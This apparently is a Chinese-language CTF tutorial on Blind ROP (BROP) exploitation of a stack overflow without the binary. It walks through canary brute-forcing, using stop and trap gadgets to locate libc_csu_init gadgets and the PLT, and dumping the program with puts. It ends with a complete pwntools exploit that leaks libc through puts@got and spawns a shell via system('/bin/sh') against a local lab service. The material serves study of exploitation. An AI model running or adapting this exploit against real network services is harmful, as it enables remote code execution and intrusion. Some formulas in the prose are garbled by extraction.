BROP的基础流程
BROP Blind-ROP
,也就是盲打!其实是没有源程序的情况下的一种攻击思路。
大概步骤分为几步:
判断栈溢出的长度
Stack Reading(泄露canaries
,ebp
,return address
)
Blind ROP: 找到合适的gadgets
,并用来控制输出函数(puts(),write()
)的参数。
使用输出函数找到更多的gadgets
以便于编写exp
。
判断栈溢出长度 最简单的一步,从1开始暴力枚举,直到发现程序崩溃。
这里提一嘴,假如发现使得程序溢出的字节数不是64位的倍数,考虑是不是读入了一个回车。
Stack Reading 经典栈布局:
1 2 buffer|canary |saved fame pointer|saved returned address low address-> ->high address
枚举后可以找到buffer
的长度,但明显不够:我们不知道canary
的值,之后的ebp
等其他值也不知道。
这里先说一下canary
,其实上面也写了,这是一个cookie
信息,是为了防止栈溢出的,简略的说就是这个值要是被修改了,就说明可能发生了栈溢出,程序将会crash
。所以在攻击的时候是需要保持canary
不变的。
然而,这些值也可以爆破。好好好
但当然不能直接嗯爆破,毕竟64位程序就有$2^{64}$种可能。这里用一下paper
里面的图:
其实也就是按字节爆破,和直接爆破的区别就是,以64位程序为例子,按字节爆破只需要 $82^{8} = 2048$ 次,因为我们是能够判断前面的字节是否匹配成功的。32位只需要 $4 2^{8}=1024$ 次。
Blind ROP 首先我们需要利用一些关键gadgets
,这里我们称为BROP gadgets
,也就是之前在libc_csu_init
里面结尾处的gadgets
。为什么?因为这里能有控制两个关键的传参的寄存器rdi
和rsi
的gadgets
。(怎么取到rdi
和rsi
在ret2csu
那一节)。
在write()
函数中,第三个参数仅仅是用来控制输出的字符串的长度,不为0即可 。而pop rdx; ret
这种gadgets
是很少的,而当执行strcmp()
的时候,rdx
会被设置为将要被比较的字符串的长度,因此可以找到strcmp
函数即可控制rdx
。
但我们又不知道地址,怎么找到BROP gadgets
呢?先看下面:
stop gadgets && trap gadgets 重头戏,特地搞个小标题。
stop gadgets
和trap gadgets
是两种特殊的gadgets
;我们先寻找到这两种gadgets
,以此找到其他的gadgets
。
先说trap gadgets
,很容易理解,也就是会让程序发生崩溃 的一段代码。
stop gadgets
呢,就是让程序不发生崩溃 ,但是又做出一定响应的一段代码。TODO
再引入一个概念:Probe
,也就是探针,就是我们想要探测的代码地址 。若程序是64位程序,可以直接从0x400000
尝试。假如不成功,可能程序开启了PIE
或者是32位程序。
试想这样一种栈:
1 2 Buffer|return address(probe)|stop gadgets 或 trap gadgets low address-> ->high address
这样一来,程序会去执行probe
处的一小段代码,若这段代码没有任何对栈的操作,我们知道它是会返回到我们设置的stop gadgets
或trap gadgets
的。
更详细的说,可以通过这种方式**找到一个不会对栈进行pop
操作的gadgets
**:
1 2 Buffer|probe |stop |trap (trap|trap |...) low address-> ->high address
这样一来,若probe
处没有pop
操作,它便会执行stop gadgets
,不会崩溃;若有pop
操作,执行的便是trap gadgets
,程序将会崩溃。因此找到一个不会崩溃的地方便是一个没有pop
操作的gadgets
,例如xor eax, eax;ret
或者是ret
这种。
以此类推,这种栈可以找到有一个pop
操作的gadgets
:
1 Buffer|probe |trap |stop |trap (trap|trap ...)
这个可以找到有6个pop
操作的gadgets
:
1 2 Buffer|probe |trap |trap |trap |trap |trap |trap |stop |trap (trap|trap ...) low address-> ->high address
而像BROP gadgets
这样一下弹出6个寄存器的gadgets
程序中并不常见。因此,如果我们发现了这种gadgets
,那么有很大可能性这个gadgets
就是BROP gadgets
! 由此我们可以通过地址偏移得到libc_csu_init
里面的所有gadgets
。
补充说明,probe
本身可能是stop gadgets
。可以用以下栈排除(正常执行的话即是stop gadgets
):
1 Buffer|probe |trap |trap (|trap |trap ...)
找到BROP gadgets
后,要看看可能会是add rsp, 8
开始的,是的话偏移8个字节。
控制rdx 上面已经讲解了如何通过stop gadgets
和trap gadgets
来控制前两个参数。而我们知道strcmp()
只有两个参数嘛,因此假如我们有了strcmp
和前两个参数的地址,我们便可以控制rdx
。此处要注意,strcmp(param1, param2)
需要两个参数都是可读的地址才可以。在没有开启PIE
时,64位程序的0x400000
处有7个非零字节,我们可以使用。
因此,目前要实现write(param1, param2, param3)
仅剩一步:获取write()
的地址,也就是write_plt()
的地址。(strcmp()
一样,都在plt
表里面)
寻找PLT表 寻找plt
表的目的是,找出其中的write_plt
或者是puts_plt
等便于我们使用。
来看看plt
表:
我们知道plt
表中的三行,第一行是去got
表查看(假如got
表还没有,就是跳到下一行),第二三行是查找地址的意思。字节数可以看到分别是六字节、五字节、五字节,加起来十六字节。
每一个plt
表项是16字节。因此,假如发现了一系列的 长度为16的没有使得程序崩溃的代码段,那么很有可能遇到了plt
表。此外,还可以通过前后偏移6字节来判断出于plt
表中间还是出于开头(可以看到前6个字节是第一行,也就是去找got
,因此在开头的话偏移6个字节是不会崩溃的)。
只要找到了plt
表,我们遍历plt
表即可获得里面的函数地址。
找到puts(param1)
是比较简单的,如下面的payload
:
1 payload = 'A' *length +p64(pop_rdi_ret)+p64(0x400000 )+p64(addr)+p64(stop_gadget)
若addr
处是puts
函数,那么将会输出0x400000
处的7个非零字节(\x7fELF
)。
这里补充写一下,假**如puts_plt
是plt
表中的第一个函数,那么在puts_plt
之前的地址开始调用,也可能会调用到puts
**。怎么找到puts_plt
的开头地址呢?
可以使用两个payload
,一个是上面那个,另一个是:
1 payload = 'A' *length +p64(pop_rdi_ret)+p64(0x400000 )+p64(addr+6 )+p64(stop_gadget)
只要两个payload
都会输出\x7fELF
,那么说明肯定此时addr
就是put_plt
开头了。
而write(file* fp, param2, param3)
的第一个参数是文件描述符,我们需要找到文件描述符的值。这个比较麻烦,wiki
上面是这么说的:
到这里,我们已经可以控制输出函数,那么我们便可以输出.text
段的其它内容或者是其它gadgets
,并找到其他函数,以便于完成攻击。
另一个常用思路是,根据获取的puts
等plt
表函数获取got
表的内容,然后依次以此泄露libc
版本来使用其他函数。使用puts_plt
将从0x400000
开始的1k
个字节全部保存到文件,然后使用ida
反编译即可查看。这里写一下代码和效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def leak (length, pop_rdi_ret, puts_plt, leak_addr, stop_gadget ): sh = remote('127.0.0.1' , 10001 ) payload = length*b'a' + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n' ) sh.sendline(payload) try : data = sh.recv() sh.close() if b'WelCome' in data: data = data[:data.index(b"\nWelCome" )] else : data = data if data == b"" : data = b'\x00' return data except Exception: sh.close() info('failure in {}' .format (leak_addr)) return None if __name__ == '__main__' : result = b"" addr = 0x400000 while addr < 0x401000 : info("starting to deal {}" .format (hex (addr))) data = leak(length, pop_rdi_ret, puts_addr, addr,stop_gadget) if data is None : continue else : result += data addr += len (data) with open ('code' , 'wb' ) as f: f.write(result)
用上面的代码将整个文件的前面的部分输出到文件,使用ida
反编译。
需要注意的是如果泄露出来的是 “”, 那说明我们遇到了'\x00'
,因为 puts
是输出字符串,字符串是以'\x00'
为终止符的。之后利用 ida
打开 binary
模式,首先在 edit->segments->rebase program
将程序的基地址改为 0x400000
,然后找到偏移 0x560
处。
exp 跟着wiki
一步一步写的,最后也是有点乱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 from pwn import *from LibcSearcher import *def get_stack_length (): length = 0 while True : try : sh = remote('127.0.0.1' , 10001 ) payload = length*b'a' sh.recvuntil('password?\n' ) sh.sendline(payload) output = sh.recv() sh.close() if output.startswith(b'No password' ): length += 1 continue except EOFError: sh.close() success('length:' + str (length-1 )) return length - 1 def get_stop_addr (length ): addr = 0x400600 i = 0 while True : try : sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('password?\n' ) payload = b'a' *length + p64(addr) sh.sendline(payload) sh.recv() sh.close() success('one stop gadget:0x%x' % (addr)) return addr except EOFError: info('no 0x%x' % addr) addr += 1 sh.close()def get_brop_gadget (length, stop_gadget, addr ): try : sh = remote('127.0.0.1' , 10001 ) sh.recvuntil(b'password?\n' ) payload = b'a' *length + \ p64(addr) + 6 *p64(0xdeadbeaf ) + \ p64(stop_gadget) + 10 *p64(stop_gadget) sh.sendline(payload) output = sh.recv(timeout=3 ) sh.close() info(b'output:' + output) if output.startswith(b'WelCome' ): return True except EOFError: sh.close() return False def check_BROP_gadgets (length, addr ): try : sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('password?\n' ) payload = b'a' *length + p64(addr) + p64(0xdeadbeaf )*100 sh.sendline(payload) output = sh.recv() sh.close() info('stop gadget, not BROP gadgets' ) return False except EOFError: sh.close() return True def get_puts_addr (length, pop_rdi_ret, stop_gadget ): addr = 0x400550 while True : info(hex (addr)) sh = remote('127.0.0.1' , 10001 ) sh.recvuntil('password?\n' ) payload = b'a' *length + p64(pop_rdi_ret) + \ p64(0x400000 ) + p64(addr) + p64(stop_gadget) sh.sendline(payload) try : content = sh.recv() if content.startswith(b'\x7fELF' ): success('finding puts addr:0x%x' % addr) return addr except EOFError: pass finally : sh.close() addr += 1 def get_puts_start_addr (length, pop_rdi_ret, stop_gadget, addr ): info('we has find put_plt, now try to find the start:' ) while True : info(hex (addr)) flag1 = False flag2 = False sh = remote('127.0.0.1' , 10001 ) sh.recvuntil(b'password?\n' ) payload = length*b'a' + p64(pop_rdi_ret) + \ p64(0x400000 ) + p64(addr) + p64(stop_gadget) sh.sendline(payload) try : content1 = sh.recv(timeout=2 ) if content1.startswith(b'\x7fELF' ): flag1 = True except EOFError: flag1 = False sh.close() sh = remote('127.0.0.1' , 10001 ) sh.recvuntil(b'password?\n' ) payload = length*b'a' + p64(pop_rdi_ret) + \ p64(0x400000 ) + p64(addr+6 ) + p64(stop_gadget) sh.sendline(payload) try : content2 = sh.recv(timeout=2 ) info(b'content2:' + content2) if content2.startswith(b'\x7fELF' ): flag2 = True except EOFError: flag2 = False info('flag1:{}, flag2:{}' .format (flag1, flag2)) if (flag1 & flag2): success('get the start of puts_plt addr:' + hex (addr)) return addr else : addr += 1 def leak (length, pop_rdi_ret, puts_plt, leak_addr, stop_gadget ): sh = remote('127.0.0.1' , 10001 ) payload = length*b'a' + p64(pop_rdi_ret) + \ p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n' ) sh.sendline(payload) try : data = sh.recv() sh.close() if b'WelCome' in data: data = data[:data.index(b"\nWelCome" )] else : data = data if data == b"" : data = b'\x00' return data except Exception: sh.close() info('failure in {}' .format (leak_addr)) return None if __name__ == '__main__' : length = 72 stop_gadget = 0x4006b6 info('start to find brop gadgets:' ) brop_gadgets = 0x4007ba ''' while True: info('Testing 0x%x'%brop_gadgets) if get_brop_gadget(length, stop_gadget, brop_gadgets): if check_BROP_gadgets(brop_gadgets, length): success('success in finding brop gadgets: 0x%x', brop_gadgets) break else: brop_gadgets += 1 ''' pop_rdi_ret = brop_gadgets + 9 puts_addr = 0x400560 ''' get puts_got result = b"" addr = 0x400000 while addr < 0x401000: info("starting to deal {}".format(hex(addr))) data = leak(length, pop_rdi_ret, puts_addr, addr,stop_gadget) if data is None: continue else: result += data addr += len(data) with open('code', 'wb') as f: f.write(result) ''' retn_addr = 0x400541 puts_got = 0x601018 context(log_level='debug' ) sh = process('./brop' ) sh.recvuntil('password?\n' ) payload = length*b'a' + p64(pop_rdi_ret) + \ p64(puts_got) + p64(retn_addr) + p64(puts_addr) + p64(stop_gadget) sh.sendline(payload) puts_libc = u64(sh.recv(6 ).ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_libc) libc_base = puts_libc - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) str_bin_sh = libc_base + libc.dump('str_bin_sh' ) ''' libc = ELF('./libc.so') libc_base = puts_libc - libc.sym['puts'] system_addr = libc_base + libc.sym['system'] str_bin_sh = libc_base + next(libc.search(b'/bin/sh')) ''' sh.recvuntil(b'password?\n' ) payload = length*b'a' + \ p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(stop_gadget) pid = util.proc.pidof(sh)[0 ] print (pid) pause() sh.sendline(payload) sh.interactive()